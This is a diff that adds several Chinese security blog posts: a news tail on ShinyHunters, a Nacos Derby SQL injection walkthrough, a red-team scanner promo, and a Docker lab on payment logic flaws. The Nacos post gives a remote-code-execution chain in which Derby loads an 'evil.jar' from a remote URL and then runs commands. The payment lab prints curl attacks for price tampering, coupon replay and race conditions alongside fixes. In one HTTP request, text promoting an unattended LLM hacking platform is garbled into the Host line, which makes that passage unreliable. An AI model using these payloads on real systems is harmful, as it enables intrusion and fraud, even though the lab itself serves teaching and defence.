+一周通牒是否会被理会、数据会否被公开或转手,目前都没有答案。对其他仍在运行 PeopleSoft、尤其是未及时打补丁的机构而言,真正需要立刻处理的,可能不是这场舆论对峙本身,而是漏洞主张是否成立、补丁与日志审计是否已经跟上。 + +参考:https://www.nextgov.com/cybersecurity/2026/09/shinyhunters-claims-fbi-data-theft-demands-bureau-retract-cyber-warning/416144/ + +https://www.politico.com/news/2026/09/22/shinyhunters-fbi-cyber-hack-01088494 +## 威胁情报全球监控系统 + +以上威胁事件由全球威胁情报系统(dark.libaisec.com)实时监测发现,订阅会员即可查看威胁情报详情及原文件。 + + + +dark.libaisec.com + diff --git a/doc/2026-09/记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程.md b/doc/2026-09/记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程.md new file mode 100644 index 00000000..c85749f1 --- /dev/null +++ b/doc/2026-09/记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程.md @@ -0,0 +1,122 @@ +# 记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程 +原创 是老A + 是老A 老A搞安全 2026-09-22 23:54 + + + + + + + + + + + + + + + + + + + +一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心! + + + + + +漏洞工具分享: +``` +NacosExploit(命令行版):https://github.com/h0ny/NacosExploit +NacosExploitGUI(图形化版):https://github.com/charonlight/NacosExploitGUI +``` + + +Nacos Derby SQL Injection +漏洞前置条件确认 + + +1、版本要求:Nacos <= 2.4.0-BETA + + +2、 +存储模式:必须使用内置 Derby 数据库 + + +3、 +鉴权状态:需要未开启鉴权(auth_enabled=false) + + +复现过程(bp手工复测): + + +第一步:探测注入点 +``` +GET /nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20users HTTP/1.1 +Host:
🤝 多 Agent 协同 Collector / Worker / Reviewer / 通杀 / 扩大危害 全流水线自动跑 🌙 24×7 无人值守 挂机过夜,重启自动续跑;你醒来只做复审决策 🔧 真实工具链挖洞 容器内置 nmap · nuclei · sqlmap · httpx · whatweb,LLM 真实发包/执行,不是纸上谈兵 🧪 极理性 AI 初审 只认「实际可利用 + 实锤危害」,过滤半成品,减少无效人工复审 🏫 归属证明 按 IP/域名查 ip138(标记/运营商/ASN 归属地),自动填报告归属单位与证明 + EduSRC 提交 JSON 💥 通杀 Hunter 出洞后自动分析能否「一打一片」,实打多个同款站点验证 🧠 情报沉淀复用 验证过的凭证/端点/指纹入全局情报库,后续 Worker 直接复用 🛡️ 内置 WAF + 鉴权 应用层 WAF 默认开启,多角色访问令牌(全权/只读/观摩) 💾 数据库备份 设置页一键下载/恢复 SQLite(在线一致快照),可选打包工作目录,服务器定时留快照 :8848 +``` + + +如果返回用户表数据(用户名、密码哈希),说明注入点有效。这一步是最低成本验证 + + +但我遇到的情况是, +Nacos 的存储模式不是 Derby,因此该漏洞无法在此目标上复现成功! + + + + +#### 理想情况下第二步:通过 removal 接口写入恶意 SQL + + +换一个 POST 请求,打 + +/nacos/v1/cs/ops/data/removal和multipart/form-data + 格式, + +file 参数的值就是我们要注入的 SQL: + +``` +CALL sqlj.install_jar('http:// /evil.jar', 'NACOS.xxxxxxxx', 0) +CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.xxxxxxxx') +CREATE FUNCTION S_EXAMPLE_xxxxxxxx( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec' +``` + + +注:install_jar + 把恶意 JAR 装进 Derby 的 SYS.SYSFILES + 系统表,SET_DATABASE_PROPERTY + 设置 Derby 类路径让引擎能加载它,CREATE FUNCTION + 把 JAR 里的 exec + 方法映射成一个可以调用的数据库函数 + + +xxxxxxxx + 换成随机 8 位字符串,evil.jar + 是你自己编译的恶意类,Java 代码就一个静态 exec 方法执行传入参数即可 + +#### 第三步:通过 derby 接口触发命令 + + +回到 derby 接口,调用刚创建的函数: + +``` +GET /nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20(select%20count(%2a)%20as%20b%2c%20S_EXAMPLE_xxxxxxxx('whoami')%20as%20a%20from%20config_info)%20tmp%20%2f%2aROWS%20FETCH%20NEXT%2a%2f HTTP/1.1 +``` + + +解码后的 SQL: +``` +select * from (select count(*) as b, S_EXAMPLE_xxxxxxxx('whoami') as a from config_info) tmp /*ROWS FETCH NEXT*/ +``` + + +这里的 /*ROWS FETCH NEXT*/ + 注释是为了绕过 Nacos 对结果集的限制逻辑 +。命令回显可以在 Burp 的 Response 里看到 + + +⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试 + + diff --git a/doc/2026-09/重构DDDD,与DLDL联动快速实现POC与指纹的结合,提高红队资产发现与打点效率.md b/doc/2026-09/重构DDDD,与DLDL联动快速实现POC与指纹的结合,提高红队资产发现与打点效率.md new file mode 100644 index 00000000..241363b3 --- /dev/null +++ b/doc/2026-09/重构DDDD,与DLDL联动快速实现POC与指纹的结合,提高红队资产发现与打点效率.md @@ -0,0 +1,146 @@ +# 重构DDDD,与DLDL联动快速实现POC与指纹的结合,提高红队资产发现与打点效率 +迷人安全 + 迷人安全 夜组安全 2026-09-22 23:30 + +免责声明 + +由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢! +**所有工具安全性自测!!!VX:** +**NightCTI** + +朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把 +**夜组安全** +“**设为星标** +”, +否则可能就看不到了啦! + + + + +## 工具介绍 + +DDDL 是一款面向**授权渗透测试** +与红队行动的自动化资产发现与漏洞打点工具。项目重构自 dddd 工作流,与 DLDL 联动,快速实现 POC 与指纹的结合,显著提高红队资产发现与打点效率。 + + +## 功能特性 +- **自动识别输入** +:IP、IP 段、CIDR、IP:Port、URL、域名、历史结果文件,一个 -t + 全兼容 + +- **子域名枚举** +:外部引擎 dnsx + / ksubdomain + / auto + 自动回退,支持被动 subfinder 收集 + +- **端口扫描** +:-p + 指定、-portf + 文件读取(兼容区间写法)、SYN 扫描、-np + 排除、-nps + 关闭 + +- **Web 探测与指纹** +:被动指纹 + 主动路径指纹 + 黑名单过滤,CDN/WAF 默认识别并跳过 + +- **漏洞打点** +:Nuclei 模板映射 + GoPoc 服务类检测,与 DLDL 联动实现 POC 与指纹自动关联 + +- **低感知设计** +:可逐项关闭 POC、通用 POC、主动指纹、域名绑定等模块,适应敏感环境 + +- **资产导入** +:Hunter / Fofa / Quake 网络空间搜索引擎查询导入,Hunter 单字段自动规范化 + +- **附加能力** +:Katana 未授权接口探测、网站备份文件扫描、服务爆破、Shiro Keys 检测 + +- **结果输出** +:文本、JSON、按需 HTML 报告与审计日志 + +## 快速开始 + +扫描单个 URL,仅做低影响信息收集: +``` +dddd -t http://10.10.0.176:8080/login -nps -dgp -npoc -nd -nhb +``` + +扫描 IP 段,从文件读取端口并关闭漏洞探测: +``` +dddd -t 192.168.1.0/24 -portf ports.txt -npoc +``` + +枚举子域名,优先 ksubdomain +、失败自动回退 dnsx +: +``` +dddd -t example.com -sd -sde auto +``` + +Hunter 查询域名后缀(自动规范化为 domain.suffix="example.com" +): +``` +dddd -t domain.suffix=example.com -hunter +``` + +扫描已存活 Web 的常见网站备份文件: +``` +dddd -t http://www.baidu.com -bs -npoc -nd -nps +``` + +敏感环境建议组合: +``` +dddd -t target.txt -npoc -dgp -nps -nd -nhb -a +``` +## 更新记录 + +**v1.1.2(2026-09-15)** +- 新增 -portf +/--port-file + 端口文件输入,兼容区间写法 + +- 修复 -nt + 追加自定义 Nuclei 模板后扫描流程被跳过 + +- Shiro/MS17010 错误处理完善,修复 ADB/ICMP/RDP 等多个 panic 与竞态问题 + +- 工程规范化,清理冗余代码,提升稳定性 + + + +## 工具获取 + + + +点击关注下方名片 +进入公众号 + +回复关键字【 +260923 +】获取 +下载链接 + + +## 往期精彩 + + +往期推荐 + +[PivotHub · 链透中枢 — 多层内网渗透辅助工具 | CTF、内网渗透、攻防](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497740&idx=1&sn=ae0117e7a728e36eb2027265fd6730b2&scene=21#wechat_redirect) + + +[CNVD 通用型未授权漏洞广扫Skill · 便携工具包](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497727&idx=1&sn=318420c51440662571aa1e479e7d4a79&scene=21#wechat_redirect) + + +[渗透武器库、渗透工具箱 | 专为渗透测试从业者开发的一站式工具启动器](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497712&idx=1&sn=dffc1878ca3abee54f04de6e3d331783&scene=21#wechat_redirect) + + +[AI 驱动的自动化渗透测试平台 | AI漏洞挖掘系统 - 黑板架构 / 模型分级 / 结果验证铁律](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497704&idx=1&sn=fd2e8ff5246b2030696dab42bc80f2ab&scene=21#wechat_redirect) + + +[DSH RedTeam 模式:红队作战指挥台——一个靶标名称拉起信息收集/漏洞检测/漏洞利用/内网渗透四个角色](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497703&idx=1&sn=fab9a9feec8879427e2a514bea4a8c79&scene=21#wechat_redirect) + + + + diff --git a/doc/2026-09/靶场实战 07|前端改价直接 0 元购!电商支付漏洞全套复现(附 Docker 靶场).md b/doc/2026-09/靶场实战 07|前端改价直接 0 元购!电商支付漏洞全套复现(附 Docker 靶场).md new file mode 100644 index 00000000..de7ef0d7 --- /dev/null +++ b/doc/2026-09/靶场实战 07|前端改价直接 0 元购!电商支付漏洞全套复现(附 Docker 靶场).md @@ -0,0 +1,317 @@ +# 靶场实战 07|前端改价直接 0 元购!电商支付漏洞全套复现(附 Docker 靶场) +原创 安全值班室 + 安全值班室 安全值班室 2026-09-23 01:00 + +买东西要付钱,天经地义。但很多系统在"付多少"这件事上,居然信了前端传来的数字:改金额、传负数数量、反复用优惠券,白嫖就是这么来的。今天我们自带4个支付漏洞的电商靶场走一遍。 + +01 / 环境搭建:3分钟拉起带漏洞的电商靶场 + +支付逻辑漏洞没有现成镜像,我们自建一个极简Flask电商:一个商品(机械键盘399元)、一张优惠券、一个余额账户,浓缩四个漏洞。 + +一键启动命令 +``` +mkdir -p ~/pay-lab && cd ~/pay-lab # 建目录并进入,隔离实验文件 +# 文件1:docker-compose.yml(编排容器,一条命令启动) +cat > docker-compose.yml <<'EOF' +services: + pay-lab: + image: docker.1ms.run/python:3.11-slim # 轻量Python镜像,够用不臃肿 + ports: + - "8082:8080" # 宿主机8082映射到容器8080,避开常用端口 + volumes: + - ./app.py:/app/app.py:ro # 挂载靶场代码,改代码后重启即生效 + command: bash -c "pip install flask -q && python /app/app.py" # 启动时装依赖并运行 +EOF +# 文件2:app.py(靶场主程序:迷你电商,故意写4个支付逻辑漏洞) +cat > app.py <<'EOF' +from flask import Flask, request, session, jsonify +import threading +app = Flask(__name__) +app.secret_key = 'lab-secret' +PRODUCTS = { + 1: {'name': '机械键盘', 'price': 399, 'stock': 5} +} +COUPONS = { + 'WELCOME88': {'amount': 100, 'used': 0} +} # 优惠券:满减100元 +BALANCE = { + 'alice': 1000 +} # 模拟余额 +ORDERS = [] +@app.route('/login') +def login(): + # 简化登录:?user=alice + session['user'] = request.args.get('user', 'alice') + return f'登录成功:{session["user"]}' +@app.route('/buy') +def buy(): + # 漏洞点1:金额从前端传入;漏洞点2:数量未做合法性校验 + pid = int(request.args.get('pid', 1)) + qty = int(request.args.get('qty', 1)) # 传入负数数量,服务端直接接受 + price = int(request.args.get('price', PRODUCTS[pid]['price'])) # 前端篡改单价 + total = price * qty + return jsonify({ + '商品': PRODUCTS[pid]['name'], + '单价': price, + '数量': qty, + '应付': total + }) +@app.route('/coupon') +def coupon(): + # 漏洞点3:优惠券不标记已使用,可无限重放复用 + code = request.args.get('code', '') + c = COUPONS.get(code) + if c: + return jsonify({'优惠券': code, '抵扣': c['amount'], '可用': True}) + return jsonify({'可用': False}), 404 +@app.route('/checkout') +def checkout(): + # 漏洞点4:余额检查与扣款非原子操作,存在竞态条件 + user = session.get('user', 'alice') + total = int(request.args.get('total', 399)) + if BALANCE[user] >= total: + # 先校验余额 + threading.Event().wait(0.05) # 模拟网络/数据库延迟,放大竞态窗口 + BALANCE[user] -= total # 再执行扣款 + ORDERS.append({'user': user, 'total': total}) + return jsonify({'msg':'支付成功','余额': BALANCE[user]}) + return jsonify({'余额不足': BALANCE[user]}), 400 +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +EOF +docker compose up -d # 一键启动,首次会自动拉取镜像 +curl -s http://localhost:8082/login?user=alice # 验证服务正常 +``` + +靶场说明:/buy计算订单金额(漏洞点1和2),/coupon核销优惠券(漏洞点3),/checkout扣款(漏洞点4)。逻辑漏洞不看花哨技术,就看服务端"信了哪个参数、漏了哪步校验"。 + +避坑指南 + +1. **端口冲突** +:8082起不来,报address already in use。解决:改compose里"8082:8080"为"8083:8080",浏览器同步访问新端口。 + +2. **Docker权限报错** +:permission denied while trying to connect。解决:sudo usermod -aG docker $USER后重新登录,或临时用sudo docker compose up -d。 + +3. **镜像拉取超时** +:python:3.11-slim拉不下来。解决:在/etc/docker/daemon.json配置registry-mirrors国内加速源后重启Docker。 + +4. **改代码不生效** +:app.py以只读挂载进容器,改完要docker compose restart。 + +02 / 模拟攻击:四个白嫖姿势,一个比一个狠 + +全程只在本地容器操作。思路:正常下单抓包 → 观察哪些参数能改 → 改完看服务端认不认。 + +步骤1-2:改金额,399变0 +``` +# 步骤1:正常买1件键盘,应付399 +curl -s "http://localhost:8082/buy?pid=1&qty=1" +# 响应: {"商品": "机械键盘", "单价": 399, "数量": 1, "应付": 399} +# 步骤2:用Burp拦截改包,把 price 参数改成 0 +curl -s "http://localhost:8082/buy?pid=1&qty=1&price=0" +# 响应: {"商品": "机械键盘", "单价": 0, "数量": 1, "应付": 0} +# 注意:单价和应付都变成了0!服务端直接信任前端传入的价格,造成0元购 +``` + +正常请求"应付399",把price改成0后,服务端照单全收。因为代码里price直接取请求参数,压根没查商品表。**服务端不回查商品定价,是支付漏洞的第一大根源。** + +步骤3-4:改数量,负金额套现 +``` +# 步骤3:数量传负数,应付变成负数 +curl -s "http://localhost:8082/buy?pid=1&qty=-5&price=399" +# 响应: {"商品": "机械键盘", "单价": 399, "数量": -5, "应付": -1995} +# 负数金额在真实系统里意味着:订单金额为负 → 退款通道反入账 → 直接套现 +# 步骤4:组合拳,单价1 + 数量9999 +curl -s "http://localhost:8082/buy?pid=1&qty=9999&price=1" +# 响应: {"商品": "机械键盘", "单价": 1, "数量": 9999, "应付": 9999} +# 服务端没有校验商品原始价格,价格完全由客户端说了算 +``` + +qty=-5时应付变成-1995。真实系统里,负金额订单一旦进入退款流程,攻击者就能把"退款"提现到自己账户——这是抢钱。 + +步骤5-6:优惠券无限重放 +``` +# 步骤5:优惠券 WELCOME88 正常用一次 +curl -s "http://localhost:8082/coupon?code=WELCOME88" +# 响应: {"优惠券": "WELCOME88", "抵扣": 100, "可用": true} +# 步骤6:同一个码重复请求10次,每次都返回可用 +for i in $(seq 1 10); do + curl -s "http://localhost:8082/coupon?code=WELCOME88" + echo +done +# 10次全部返回可用:true —— 优惠券未标记已使用,支持无限重放复用 +``` + +同一个WELCOME88码连发10次,次次可用。问题出在核销逻辑只"查"了券存不存在,从没"标记"已用过。**查询和状态更新分离,是重放类漏洞的通用病因。** + +步骤7:订单竞态,余额不够也能付款 +``` +# 步骤7:模拟订单竞态条件——余额1000,单笔399,3笔并发本应余额不足 +# 原理:余额检查与扣款非原子操作,中间存在延迟窗口,并发请求可同时通过校验 +for i in $(seq 1 3); do + curl -s -b "session=alice" "http://localhost:8082/checkout?total=399" & +done +wait +# 若3个请求均返回"支付成功",说明竞态条件利用成功,出现超额扣款 +``` + +余额1000,三单共1197,本只够付两单。但checkout是"先检查余额、再扣款"两步操作,中间留了时间差,三个并发请求同时挤过检查关口全部支付成功——这就是竞态条件。真实世界的秒杀超卖、重复扣款,几乎都是同一原因。 + +03 / 日志分析:攻击在日志里长什么样 + +下面是靶场脱敏后的访问日志(IP已打码): +``` +# 支付漏洞靶场攻击全程访问日志(对应步骤1~7) +[REDACTED] - - [23/Aug/2026:10:01:12] "GET /login?user=alice HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:15] "GET /buy?pid=1&qty=1 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:16] "GET /buy?pid=1&qty=1&price=0 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:17] "GET /buy?pid=1&qty=-5&price=399 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:19] "GET /coupon?code=WELCOME88 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:19] "GET /coupon?code=WELCOME88 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:19] "GET /coupon?code=WELCOME88 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:21] "GET /checkout?total=399 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:21] "GET /checkout?total=399 HTTP/1.1" 200 - +[REDACTED] - - [23/Aug/2026:10:01:21] "GET /checkout?total=399 HTTP/1.1" 200 - +``` + +逐行解读: + +第1行:alice登录,会话建立,攻击起点。 + +第2行:正常买1件,应付399。 + +第3行:接口多出price=0参数——正常请求不会带,改包痕迹明显。 + +第4行:qty=-5,数量为负数,典型参数篡改。 + +第5-7行:同一秒内WELCOME88连用3次(实际攻击会刷几百次),核销频率异常。 + +第8-10行:同一毫秒窗口内checkout并发3次,人工做不到,是竞态攻击特征。 + +判断标准:哪些特征说明是真实攻击 + +1. **参数值违背业务常识** +:金额为0、数量为负、1元买9999件,真实订单不可能出现。 + +2. **同一接口短时高频重复** +:优惠券几秒内被同一用户核销N次,远超正常节奏。 + +3. **并发时间戳几乎相同** +:毫秒级并发人类做不到,基本是脚本在打。 + +4. **下单金额与定价不符** +:订单总额≠单价×数量,比对商品表直接实锤。 + +04 / 如何防护:钱的事,服务端说了算 + +**先讲原理。** +支付漏洞能成功,根本原因是:服务端把"不该由客户端决定"的参数(价格、数量、优惠券状态、扣款时序)当成了可信输入。价格是经营数据,优惠券状态是数据库状态,扣款是资金操作——哪一样都不能由HTTP请求里的字符串决定。 + +基础级(必须做):服务端权威定价 +``` +# 修复1:单价以服务端商品表为准 + 数量合法性校验(对应0元购、负数量漏洞) +@app.route('/buy') +def buy(): + pid = int(request.args.get('pid', 1)) + qty = int(request.args.get('qty', 1)) + # 数量范围校验:禁止负数、零和超大批量 + if qty <= 0 or qty > 100: + return '数量非法', 400 + prod = PRODUCTS[pid] + # 单价强制从服务端商品表读取,完全忽略前端传入的price参数 + total = prod['price'] * qty + return jsonify({'应付': total}) +``` +``` +-- 修复2:优惠券原子标记已使用(数据库层面行锁,防重放复用) +UPDATE coupons +SET used = 1, used_by = 'alice' +WHERE code = 'WELCOME88' AND used = 0; +-- 执行后判断影响行数: +-- 影响行数 = 1 → 核销成功 +-- 影响行数 = 0 → 优惠券已被使用,拒绝本次请求 +``` + +核心三条:价格只从商品表取、数量做范围校验、优惠券用原子SQL标记已使用。成本极低,是任何电商上线前必须完成的。 + +进阶级(推荐):事务与幂等 + +1. 扣款、减库存、生成订单放进同一事务,用SELECT ... FOR UPDATE行锁保证检查与扣款原子完成。 + +2. 下单接口加幂等键:客户端每次下单带唯一流水号,服务端记录已处理过的流水号,重复请求直接拒绝,从源头消灭竞态重放。 + +3. 订单参数做服务端签名:前端只传商品ID和数量,后端校验签名,防中间人改包。 + +专家级(纵深防御) + +1. 风控引擎:对价格突变、负数量、高频核销、短时高频下单建规则实时拦截。 + +2. 对账系统:订单、支付、退款三方每日对账,金额不平自动告警,漏洞被利用也能及时发现止损。 + +3. 审计日志:所有资金操作留痕,可回溯可举证。 + +4. 支付通道侧校验:以支付平台回调的实付金额为准,而非前端展示金额。 + +05 / 总结复盘 + +**要点提炼:** + +1. 支付漏洞四兄弟:改金额、改数量、优惠券重放、订单竞态,根子在"服务端信任客户端参数"。 + +2. 价格永远从商品表取,前端传的一律忽略。 + +3. 数量必须校验范围,负数量+退款=直接套现。 + +4. 优惠券核销必须原子标记已使用,查询与更新不能分离。 + +5. 涉及钱的状态变更必须事务化,不允许竞态窗口。 + +**攻击链全景:** +登录 → 正常下单抓包 → 修改price/qty(篡改金额)→ 重放优惠券(放大优惠)→ 并发checkout(突破余额限制)→ 极小代价拿到商品/资金。 + +**面试可能怎么问:** + +Q:支付类逻辑漏洞怎么防? + +A:核心是服务端权威:价格从服务端取、数量范围校验、优惠券原子核销、扣款事务化加幂等键,再加风控和对账兜底。 + + +Q:什么是竞态条件?怎么复现和修复? + +A:多请求并发访问同一资源,检查与操作之间存在时间差,导致多次通过检查。复现用并发脚本打同一接口;修复用数据库行锁+事务保证原子性,或加幂等键去重。 + +短信验证码为什么能被爆破?响应包改一个字段就"通过"?下一章《验证码绕过与接口滥用》拆解万能验证码、响应包绕过、短信轰炸,继续自建靶场开练。 + +**关注我,下期不迷路** + + +**MORE** + +往期回顾 + + + +[CTF新手速成](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3MzczMDc0OQ==&action=getalbum&album_id=4616106042689814529#wechat_redirect) + + + + +[靶场实战:从漏洞基础到红队综合](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3MzczMDc0OQ==&action=getalbum&album_id=4694391088487563265#wechat_redirect) + + + + +[内网渗透学习路线](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3MzczMDc0OQ==&action=getalbum&album_id=4572157479522107394#wechat_redirect) + + + + +[云安全攻防实战连载](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3MzczMDc0OQ==&action=getalbum&album_id=4544879677747986438#wechat_redirect) + + + + +[Web安全学习路线](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3MzczMDc0OQ==&action=getalbum&album_id=4534863005871931394#wechat_redirect) + +